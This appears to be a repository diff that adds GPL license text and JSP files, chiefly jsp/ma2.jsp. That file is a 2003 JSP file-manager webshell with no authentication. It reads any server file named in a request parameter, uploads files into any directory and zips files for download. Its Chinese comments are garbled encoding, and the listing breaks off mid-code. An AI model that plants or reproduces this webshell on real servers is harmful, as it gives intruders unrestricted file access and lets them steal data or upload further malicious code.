1. You may copy and distribute verbatim copies of the Program's
|
||||||
|
source code as you receive it, in any medium, provided that you
|
||||||
|
conspicuously and appropriately publish on each copy an appropriate
|
||||||
|
copyright notice and disclaimer of warranty; keep intact all the
|
||||||
|
notices that refer to this License and to the absence of any warranty;
|
||||||
|
and give any other recipients of the Program a copy of this License
|
||||||
|
along with the Program.
|
||||||
|
|
||||||
|
You may charge a fee for the physical act of transferring a copy, and
|
||||||
|
you may at your option offer warranty protection in exchange for a fee.
|
||||||
|
|
||||||
|
2. You may modify your copy or copies of the Program or any portion
|
||||||
|
of it, thus forming a work based on the Program, and copy and
|
||||||
|
distribute such modifications or work under the terms of Section 1
|
||||||
|
above, provided that you also meet all of these conditions:
|
||||||
|
|
||||||
|
a) You must cause the modified files to carry prominent notices
|
||||||
|
stating that you changed the files and the date of any change.
|
||||||
|
|
||||||
|
b) You must cause any work that you distribute or publish, that in
|
||||||
|
whole or in part contains or is derived from the Program or any
|
||||||
|
part thereof, to be licensed as a whole at no charge to all third
|
||||||
|
parties under the terms of this License.
|
||||||
|
|
||||||
|
c) If the modified program normally reads commands interactively
|
||||||
|
when run, you must cause it, when started running for such
|
||||||
|
interactive use in the most ordinary way, to print or display an
|
||||||
|
announcement including an appropriate copyright notice and a
|
||||||
|
notice that there is no warranty (or else, saying that you provide
|
||||||
|
a warranty) and that users may redistribute the program under
|
||||||
|
these conditions, and telling the user how to view a copy of this
|
||||||
|
License. (Exception: if the Program itself is interactive but
|
||||||
|
does not normally print such an announcement, your work based on
|
||||||
|
the Program is not required to print an announcement.)
|
||||||
|
|
||||||
|
These requirements apply to the modified work as a whole. If
|
||||||
|
identifiable sections of that work are not derived from the Program,
|
||||||
|
and can be reasonably considered independent and separate works in
|
||||||
|
themselves, then this License, and its terms, do not apply to those
|
||||||
|
sections when you distribute them as separate works. But when you
|
||||||
|
distribute the same sections as part of a whole which is a work based
|
||||||
|
on the Program, the distribution of the whole must be on the terms of
|
||||||
|
this License, whose permissions for other licensees extend to the
|
||||||
|
entire whole, and thus to each and every part regardless of who wrote it.
|
||||||
|
|
||||||
|
Thus, it is not the intent of this section to claim rights or contest
|
||||||
|
your rights to work written entirely by you; rather, the intent is to
|
||||||
|
exercise the right to control the distribution of derivative or
|
||||||
|
collective works based on the Program.
|
||||||
|
|
||||||
|
In addition, mere aggregation of another work not based on the Program
|
||||||
|
with the Program (or with a work based on the Program) on a volume of
|
||||||
|
a storage or distribution medium does not bring the other work under
|
||||||
|
the scope of this License.
|
||||||
|
|
||||||
|
3. You may copy and distribute the Program (or a work based on it,
|
||||||
|
under Section 2) in object code or executable form under the terms of
|
||||||
|
Sections 1 and 2 above provided that you also do one of the following:
|
||||||
|
|
||||||
|
a) Accompany it with the complete corresponding machine-readable
|
||||||
|
source code, which must be distributed under the terms of Sections
|
||||||
|
1 and 2 above on a medium customarily used for software interchange; or,
|
||||||
|
|
||||||
|
b) Accompany it with a written offer, valid for at least three
|
||||||
|
years, to give any third party, for a charge no more than your
|
||||||
|
cost of physically performing source distribution, a complete
|
||||||
|
machine-readable copy of the corresponding source code, to be
|
||||||
|
distributed under the terms of Sections 1 and 2 above on a medium
|
||||||
|
customarily used for software interchange; or,
|
||||||
|
|
||||||
|
c) Accompany it with the information you received as to the offer
|
||||||
|
to distribute corresponding source code. (This alternative is
|
||||||
|
allowed only for noncommercial distribution and only if you
|
||||||
|
received the program in object code or executable form with such
|
||||||
|
an offer, in accord with Subsection b above.)
|
||||||
|
|
||||||
|
The source code for a work means the preferred form of the work for
|
||||||
|
making modifications to it. For an executable work, complete source
|
||||||
|
code means all the source code for all modules it contains, plus any
|
||||||
|
associated interface definition files, plus the scripts used to
|
||||||
|
control compilation and installation of the executable. However, as a
|
||||||
|
special exception, the source code distributed need not include
|
||||||
|
anything that is normally distributed (in either source or binary
|
||||||
|
form) with the major components (compiler, kernel, and so on) of the
|
||||||
|
operating system on which the executable runs, unless that component
|
||||||
|
itself accompanies the executable.
|
||||||
|
|
||||||
|
If distribution of executable or object code is made by offering
|
||||||
|
access to copy from a designated place, then offering equivalent
|
||||||
|
access to copy the source code from the same place counts as
|
||||||
|
distribution of the source code, even though third parties are not
|
||||||
|
compelled to copy the source along with the object code.
|
||||||
|
|
||||||
|
4. You may not copy, modify, sublicense, or distribute the Program
|
||||||
|
except as expressly provided under this License. Any attempt
|
||||||
|
otherwise to copy, modify, sublicense or distribute the Program is
|
||||||
|
void, and will automatically terminate your rights under this License.
|
||||||
|
However, parties who have received copies, or rights, from you under
|
||||||
|
this License will not have their licenses terminated so long as such
|
||||||
|
parties remain in full compliance.
|
||||||
|
|
||||||
|
5. You are not required to accept this License, since you have not
|
||||||
|
signed it. However, nothing else grants you permission to modify or
|
||||||
|
distribute the Program or its derivative works. These actions are
|
||||||
|
prohibited by law if you do not accept this License. Therefore, by
|
||||||
|
modifying or distributing the Program (or any work based on the
|
||||||
|
Program), you indicate your acceptance of this License to do so, and
|
||||||
|
all its terms and conditions for copying, distributing or modifying
|
||||||
|
the Program or works based on it.
|
||||||
|
|
||||||
|
6. Each time you redistribute the Program (or any work based on the
|
||||||
|
Program), the recipient automatically receives a license from the
|
||||||
|
original licensor to copy, distribute or modify the Program subject to
|
||||||
|
these terms and conditions. You may not impose any further
|
||||||
|
restrictions on the recipients' exercise of the rights granted herein.
|
||||||
|
You are not responsible for enforcing compliance by third parties to
|
||||||
|
this License.
|
||||||
|
|
||||||
|
7. If, as a consequence of a court judgment or allegation of patent
|
||||||
|
infringement or for any other reason (not limited to patent issues),
|
||||||
|
conditions are imposed on you (whether by court order, agreement or
|
||||||
|
otherwise) that contradict the conditions of this License, they do not
|
||||||
|
excuse you from the conditions of this License. If you cannot
|
||||||
|
distribute so as to satisfy simultaneously your obligations under this
|
||||||
|
License and any other pertinent obligations, then as a consequence you
|
||||||
|
may not distribute the Program at all. For example, if a patent
|
||||||
|
license would not permit royalty-free redistribution of the Program by
|
||||||
|
all those who receive copies directly or indirectly through you, then
|
||||||
|
the only way you could satisfy both it and this License would be to
|
||||||
|
refrain entirely from distribution of the Program.
|
||||||
|
|
||||||
|
If any portion of this section is held invalid or unenforceable under
|
||||||
|
any particular circumstance, the balance of the section is intended to
|
||||||
|
apply and the section as a whole is intended to apply in other
|
||||||
|
circumstances.
|
||||||
|
|
||||||
|
It is not the purpose of this section to induce you to infringe any
|
||||||
|
patents or other property right claims or to contest validity of any
|
||||||
|
such claims; this section has the sole purpose of protecting the
|
||||||
|
integrity of the free software distribution system, which is
|
||||||
|
implemented by public license practices. Many people have made
|
||||||
|
generous contributions to the wide range of software distributed
|
||||||
|
through that system in reliance on consistent application of that
|
||||||
|
system; it is up to the author/donor to decide if he or she is willing
|
||||||
|
to distribute software through any other system and a licensee cannot
|
||||||
|
impose that choice.
|
||||||
|
|
||||||
|
This section is intended to make thoroughly clear what is believed to
|
||||||
|
be a consequence of the rest of this License.
|
||||||
|
|
||||||
|
8. If the distribution and/or use of the Program is restricted in
|
||||||
|
certain countries either by patents or by copyrighted interfaces, the
|
||||||
|
original copyright holder who places the Program under this License
|
||||||
|
may add an explicit geographical distribution limitation excluding
|
||||||
|
those countries, so that distribution is permitted only in or among
|
||||||
|
countries not thus excluded. In such case, this License incorporates
|
||||||
|
the limitation as if written in the body of this License.
|
||||||
|
|
||||||
|
9. The Free Software Foundation may publish revised and/or new versions
|
||||||
|
of the General Public License from time to time. Such new versions will
|
||||||
|
be similar in spirit to the present version, but may differ in detail to
|
||||||
|
address new problems or concerns.
|
||||||
|
|
||||||
|
Each version is given a distinguishing version number. If the Program
|
||||||
|
specifies a version number of this License which applies to it and "any
|
||||||
|
later version", you have the option of following the terms and conditions
|
||||||
|
either of that version or of any later version published by the Free
|
||||||
|
Software Foundation. If the Program does not specify a version number of
|
||||||
|
this License, you may choose any version ever published by the Free Software
|
||||||
|
Foundation.
|
||||||
|
|
||||||
|
10. If you wish to incorporate parts of the Program into other free
|
||||||
|
programs whose distribution conditions are different, write to the author
|
||||||
|
to ask for permission. For software which is copyrighted by the Free
|
||||||
|
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||||
|
make exceptions for this. Our decision will be guided by the two goals
|
||||||
|
of preserving the free status of all derivatives of our free software and
|
||||||
|
of promoting the sharing and reuse of software generally.
|
||||||
|
|
||||||
|
NO WARRANTY
|
||||||
|
|
||||||
|
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||||
|
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||||
|
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||||
|
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||||
|
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||||
|
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||||
|
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||||
|
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||||
|
REPAIR OR CORRECTION.
|
||||||
|
|
||||||
|
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||||
|
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||||
|
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||||
|
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||||
|
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||||
|
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||||
|
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||||
|
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGES.
|
||||||
|
|
||||||
|
END OF TERMS AND CONDITIONS
|
||||||
1811
jsp/ma1.jsp
Normal file
1811
jsp/ma1.jsp
Normal file
File diff suppressed because it is too large
Load Diff
807
jsp/ma2.jsp
Normal file
807
jsp/ma2.jsp
Normal file
@@ -0,0 +1,807 @@
|
|||||||
|
<%@ page import="java.util.*,java.net.*,java.text.*,java.util.zip.*,java.io.*"%>
|
||||||
|
<%@ page contentType="text/html;charset=gb2312"%>
|
||||||
|
<%!
|
||||||
|
/*
|
||||||
|
**************************************************************************************
|
||||||
|
*JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> v1.001 *
|
||||||
|
*Copyright (C) 2003 by Bagheera *
|
||||||
|
*E-mail:bagheera@beareyes.com *
|
||||||
|
*QQ:179189585 *
|
||||||
|
*http://jmmm.com *
|
||||||
|
*------------------------------------------------------------------------------------*
|
||||||
|
*<2A><><EFBFBD><EFBFBD>:<3A>벻Ҫ<EBB2BB><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DEB8><EFBFBD><EFBFBD>ϰ<EFBFBD>Ȩ<EFBFBD><C8A8>Ϣ! *
|
||||||
|
**************************************************************************************
|
||||||
|
*#######<23><><EFBFBD>ѿռ<D1BF><D5BC><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD>У<EFBFBD><D0A3>뵽<EFBFBD><EBB5BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: *
|
||||||
|
**http://jmmm.com/web/index.jsp <20><><EFBFBD><EFBFBD><EFBFBD>ʺ<EFBFBD>:test <20><><EFBFBD><EFBFBD>:test *
|
||||||
|
**************************************************************************************
|
||||||
|
*/
|
||||||
|
|
||||||
|
//<2F>༭<EFBFBD><E0BCAD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||||
|
private static final int EDITFIELD_COLS =100;
|
||||||
|
//<2F>༭<EFBFBD><E0BCAD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||||
|
private static final int EDITFIELD_ROWS = 30;
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
//<2F>ı<EFBFBD><C4B1>ϴ<EFBFBD><CFB4>ļ<EFBFBD><C4BC>ǵĻ<C7B5><C4BB><EFBFBD>Ŀ¼(һ<>㲻<EFBFBD><E3B2BB>Ҫ<EFBFBD><EFBFBD>)
|
||||||
|
private static String tempdir = ".";
|
||||||
|
|
||||||
|
public class FileInfo{
|
||||||
|
public String name = null,
|
||||||
|
clientFileName = null,
|
||||||
|
fileContentType = null;
|
||||||
|
private byte[] fileContents = null;
|
||||||
|
public File file = null;
|
||||||
|
public StringBuffer sb = new StringBuffer(100);
|
||||||
|
public void setFileContents(byte[] aByteArray){
|
||||||
|
fileContents = new byte[aByteArray.length];
|
||||||
|
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public class HttpMultiPartParser{
|
||||||
|
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||||
|
private final int ONE_MB=1024*1024*1;
|
||||||
|
|
||||||
|
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir)
|
||||||
|
throws IllegalArgumentException, IOException {
|
||||||
|
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||||
|
if (boundary == null || boundary.trim().length() < 1)
|
||||||
|
throw new IllegalArgumentException("boundary");
|
||||||
|
boundary = "--" + boundary;
|
||||||
|
StringTokenizer stLine = null, stFields = null;
|
||||||
|
FileInfo fileInfo = null;
|
||||||
|
Hashtable dataTable = new Hashtable(5);
|
||||||
|
String line = null, field = null, paramName = null;
|
||||||
|
boolean saveFiles=(saveInDir != null && saveInDir.trim().length() > 0),
|
||||||
|
isFile = false;
|
||||||
|
if (saveFiles){
|
||||||
|
File f = new File(saveInDir);
|
||||||
|
f.mkdirs();
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null || !line.startsWith(boundary))
|
||||||
|
throw new IOException("δ<><CEB4><EFBFBD><EFBFBD>;"
|
||||||
|
+" boundary = " + boundary
|
||||||
|
+", line = " + line);
|
||||||
|
while (line != null){
|
||||||
|
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
stLine = new StringTokenizer(line, ";\r\n");
|
||||||
|
if (stLine.countTokens() < 2) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
|
||||||
|
line = stLine.nextToken().toLowerCase();
|
||||||
|
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
|
||||||
|
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||||
|
if (stFields.countTokens() < 2) throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
|
||||||
|
fileInfo = new FileInfo();
|
||||||
|
stFields.nextToken();
|
||||||
|
paramName = stFields.nextToken();
|
||||||
|
isFile = false;
|
||||||
|
if (stLine.hasMoreTokens()){
|
||||||
|
field = stLine.nextToken();
|
||||||
|
stFields = new StringTokenizer(field, "=\"");
|
||||||
|
if (stFields.countTokens() > 1){
|
||||||
|
if (stFields.nextToken().trim().equalsIgnoreCase("filename")){
|
||||||
|
fileInfo.name=paramName;
|
||||||
|
String value = stFields.nextToken();
|
||||||
|
if (value != null && value.trim().length() > 0){
|
||||||
|
fileInfo.clientFileName=value;
|
||||||
|
isFile = true;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
line = getLine(is); // ȥ<><C8A5>"Content-Type:"<22><>
|
||||||
|
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
|
||||||
|
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
|
||||||
|
line = getLine(is); // <20><>λ
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (field.toLowerCase().indexOf("filename") >= 0){
|
||||||
|
line = getLine(is); // ȥ<><C8A5>"Content-Type:"<22><>
|
||||||
|
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
|
||||||
|
line = getLine(is); // ȥ<><C8A5><EFBFBD>հ<EFBFBD><D5B0><EFBFBD>
|
||||||
|
line = getLine(is); // <20><>λ
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
boolean skipBlankLine = true;
|
||||||
|
if (isFile){
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
if (line.trim().length() < 1) skipBlankLine = false;
|
||||||
|
else{
|
||||||
|
stLine = new StringTokenizer(line, ": ");
|
||||||
|
if (stLine.countTokens() < 2)
|
||||||
|
throw new IllegalArgumentException("<22><><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD>!");
|
||||||
|
stLine.nextToken();
|
||||||
|
fileInfo.fileContentType=stLine.nextToken();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skipBlankLine){
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
}
|
||||||
|
if (!isFile){
|
||||||
|
line = getLine(is);
|
||||||
|
if (line == null) return dataTable;
|
||||||
|
dataTable.put(paramName, line);
|
||||||
|
//<2F>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪĿ¼
|
||||||
|
if (paramName.equals("dir")){
|
||||||
|
saveInDir = line;
|
||||||
|
System.out.println(line);
|
||||||
|
}
|
||||||
|
line = getLine(is);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
try{
|
||||||
|
OutputStream os = null;
|
||||||
|
String path = null;
|
||||||
|
if (saveFiles)
|
||||||
|
os = new FileOutputStream(path = getFileName(saveInDir,
|
||||||
|
fileInfo.clientFileName));
|
||||||
|
else os = new ByteArrayOutputStream(ONE_MB);
|
||||||
|
boolean readingContent = true;
|
||||||
|
byte previousLine[] = new byte[2 * ONE_MB];
|
||||||
|
byte temp[] = null;
|
||||||
|
byte currentLine[] = new byte[2 * ONE_MB];
|
||||||
|
int read, read3;
|
||||||
|
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
while (readingContent){
|
||||||
|
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||||
|
line = null;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (compareBoundary(boundary, currentLine)){
|
||||||
|
os.write( previousLine, 0, read );
|
||||||
|
os.flush();
|
||||||
|
line = new String( currentLine, 0, read3 );
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
os.write( previousLine, 0, read );
|
||||||
|
os.flush();
|
||||||
|
temp = currentLine;
|
||||||
|
currentLine = previousLine;
|
||||||
|
previousLine = temp;
|
||||||
|
read = read3;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
os.close();
|
||||||
|
temp = null;
|
||||||
|
previousLine = null;
|
||||||
|
currentLine = null;
|
||||||
|
if (!saveFiles){
|
||||||
|
ByteArrayOutputStream baos = (ByteArrayOutputStream)os;
|
||||||
|
fileInfo.setFileContents(baos.toByteArray());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
fileInfo.file = new File(path);
|
||||||
|
os = null;
|
||||||
|
}
|
||||||
|
dataTable.put(paramName, fileInfo);
|
||||||
|
}
|
||||||
|
catch (IOException e) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dataTable;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>Ƚ<EFBFBD><C8BD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
private boolean compareBoundary(String boundary, byte ba[]){
|
||||||
|
byte b;
|
||||||
|
if (boundary == null || ba == null) return false;
|
||||||
|
for (int i=0; i < boundary.length(); i++)
|
||||||
|
if ((byte)boundary.charAt(i) != ba[i]) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private synchronized String getLine(ServletInputStream sis) throws IOException{
|
||||||
|
byte b[] = new byte[1024];
|
||||||
|
int read = sis.readLine(b, 0, b.length), index;
|
||||||
|
String line = null;
|
||||||
|
if (read != -1){
|
||||||
|
line = new String(b, 0, read);
|
||||||
|
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index-1);
|
||||||
|
}
|
||||||
|
b = null;
|
||||||
|
return line;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getFileName(String dir, String fileName) throws IllegalArgumentException{
|
||||||
|
String path = null;
|
||||||
|
if (dir == null || fileName == null) throw new IllegalArgumentException("Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
|
int index = fileName.lastIndexOf('/');
|
||||||
|
String name = null;
|
||||||
|
if (index >= 0) name = fileName.substring(index + 1);
|
||||||
|
else name = fileName;
|
||||||
|
index = name.lastIndexOf('\\');
|
||||||
|
if (index >= 0) fileName = name.substring(index + 1);
|
||||||
|
path = dir + File.separator + fileName;
|
||||||
|
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||||
|
else return path.replace('/', File.separatorChar);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>
|
||||||
|
* @author bagheera
|
||||||
|
* @version 1.001
|
||||||
|
*/
|
||||||
|
class FileComp implements Comparator{
|
||||||
|
int mode=1;
|
||||||
|
/**
|
||||||
|
* @<40><><EFBFBD><EFBFBD> 1=<3D>ļ<EFBFBD><C4BC><EFBFBD>, 2=<3D><>С, 3=<3D><><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
FileComp (int mode){
|
||||||
|
this.mode=mode;
|
||||||
|
}
|
||||||
|
public int compare(Object o1, Object o2){
|
||||||
|
File f1 = (File)o1;
|
||||||
|
File f2 = (File)o2;
|
||||||
|
if (f1.isDirectory()){
|
||||||
|
if (f2.isDirectory()){
|
||||||
|
switch(mode){
|
||||||
|
case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase());
|
||||||
|
case 2:return new Long(f1.length()).compareTo(new Long(f2.length()));
|
||||||
|
case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()));
|
||||||
|
default:return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else return -1;
|
||||||
|
}
|
||||||
|
else if (f2.isDirectory()) return 1;
|
||||||
|
else{
|
||||||
|
switch(mode){
|
||||||
|
case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase());
|
||||||
|
case 2:return new Long(f1.length()).compareTo(new Long(f2.length()));
|
||||||
|
case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified()));
|
||||||
|
default:return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class Writer2Stream extends OutputStream{
|
||||||
|
Writer out;
|
||||||
|
Writer2Stream (Writer w){
|
||||||
|
super();
|
||||||
|
out=w;
|
||||||
|
}
|
||||||
|
public void write(int i) throws IOException{
|
||||||
|
out.write(i);
|
||||||
|
}
|
||||||
|
public void write(byte[] b) throws IOException{
|
||||||
|
for (int i=0;i<b.length;i++){
|
||||||
|
int n=b[i];
|
||||||
|
//Convert byte to ubyte
|
||||||
|
n=((n>>>4)&0xF)*16+(n&0xF);
|
||||||
|
out.write (n);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void write(byte[] b, int off, int len) throws IOException{
|
||||||
|
for (int i=off;i<off+len;i++){
|
||||||
|
int n=b[i];
|
||||||
|
n=((n>>>4)&0xF)*16+(n&0xF);
|
||||||
|
out.write (n);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static Vector expandFileList(String[] files, boolean inclDirs){
|
||||||
|
Vector v = new Vector();
|
||||||
|
if (files==null) return v;
|
||||||
|
for (int i=0;i<files.length;i++) v.add (new File(URLDecoder.decode(files[i])));
|
||||||
|
for (int i=0;i<v.size();i++){
|
||||||
|
File f = (File) v.get(i);
|
||||||
|
if (f.isDirectory()){
|
||||||
|
File[] fs = f.listFiles();
|
||||||
|
for (int n=0;n<fs.length;n++) v.add(fs[n]);
|
||||||
|
if (!inclDirs){
|
||||||
|
v.remove(i);
|
||||||
|
i--;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return v;
|
||||||
|
}
|
||||||
|
|
||||||
|
static String substr(String s, String search, String replace){
|
||||||
|
StringBuffer s2 = new StringBuffer ();
|
||||||
|
int i = 0, j = 0;
|
||||||
|
int len = search.length();
|
||||||
|
while ( j > -1 ){
|
||||||
|
j = s.indexOf( search, i );
|
||||||
|
if ( j > -1 ){
|
||||||
|
s2.append( s.substring(i,j) );
|
||||||
|
s2.append( replace );
|
||||||
|
i = j + len;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s2.append( s.substring(i, s.length()) );
|
||||||
|
return s2.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static String getDir (String dir, String name){
|
||||||
|
if (!dir.endsWith(File.separator)) dir=dir+File.separator;
|
||||||
|
File mv = new File (name);
|
||||||
|
String new_dir=null;
|
||||||
|
if (!mv.isAbsolute()){
|
||||||
|
new_dir=dir+name;
|
||||||
|
}
|
||||||
|
else new_dir=name;
|
||||||
|
return new_dir;
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
|
||||||
|
<%
|
||||||
|
request.setAttribute("dir", request.getParameter("dir"));
|
||||||
|
String browser_name = request.getRequestURI();
|
||||||
|
|
||||||
|
//<2F>鿴<EFBFBD>ļ<EFBFBD>
|
||||||
|
if (request.getParameter("file")!=null){
|
||||||
|
File f = new File (request.getParameter("file"));
|
||||||
|
BufferedInputStream reader = new BufferedInputStream(new FileInputStream(f));
|
||||||
|
int l = f.getName().lastIndexOf(".");
|
||||||
|
//<2F>ж<EFBFBD><D0B6>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
if (l>=0){
|
||||||
|
String ext = f.getName().substring(l).toLowerCase();
|
||||||
|
if (ext.equals(".jpg")||ext.equals(".jpeg")||ext.equals(".jpe"))
|
||||||
|
response.setContentType("image/jpeg");
|
||||||
|
else if (ext.equals(".gif")) response.setContentType("image/gif");
|
||||||
|
else if (ext.equals(".pdf")) response.setContentType("application/pdf");
|
||||||
|
else if (ext.equals(".htm")||ext.equals(".html")||ext.equals(".shtml")) response.setContentType("text/html");
|
||||||
|
else if (ext.equals(".avi")) response.setContentType("video/x-msvideo");
|
||||||
|
else if (ext.equals(".mov")||ext.equals(".qt")) response.setContentType("video/quicktime");
|
||||||
|
else if (ext.equals(".mpg")||ext.equals(".mpeg")||ext.equals(".mpe"))
|
||||||
|
response.setContentType("video/mpeg");
|
||||||
|
else if (ext.equals(".zip")) response.setContentType("application/zip");
|
||||||
|
else if (ext.equals(".tiff")||ext.equals(".tif")) response.setContentType("image/tiff");
|
||||||
|
else if (ext.equals(".rtf")) response.setContentType("application/rtf");
|
||||||
|
else if (ext.equals(".mid")||ext.equals(".midi")) response.setContentType("audio/x-midi");
|
||||||
|
else if (ext.equals(".xl")||ext.equals(".xls")||ext.equals(".xlv")||ext.equals(".xla")
|
||||||
|
||ext.equals(".xlb")||ext.equals(".xlt")||ext.equals(".xlm")||ext.equals(".xlk"))
|
||||||
|
response.setContentType("application/excel");
|
||||||
|
else if (ext.equals(".doc")||ext.equals(".dot")) response.setContentType("application/msword");
|
||||||
|
else if (ext.equals(".png")) response.setContentType("image/png");
|
||||||
|
else if (ext.equals(".xml")) response.setContentType("text/xml");
|
||||||
|
else if (ext.equals(".svg")) response.setContentType("image/svg+xml");
|
||||||
|
else response.setContentType("text/plain");
|
||||||
|
}
|
||||||
|
else response.setContentType("text/plain");
|
||||||
|
response.setContentLength((int)f.length());
|
||||||
|
out.clearBuffer();
|
||||||
|
int i;
|
||||||
|
while ((i=reader.read())!=-1) out.write(i);
|
||||||
|
reader.close();
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>Ϊzip<69>ļ<EFBFBD>
|
||||||
|
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Save as zip"))){
|
||||||
|
Vector v = expandFileList(request.getParameterValues("selfile"), false);
|
||||||
|
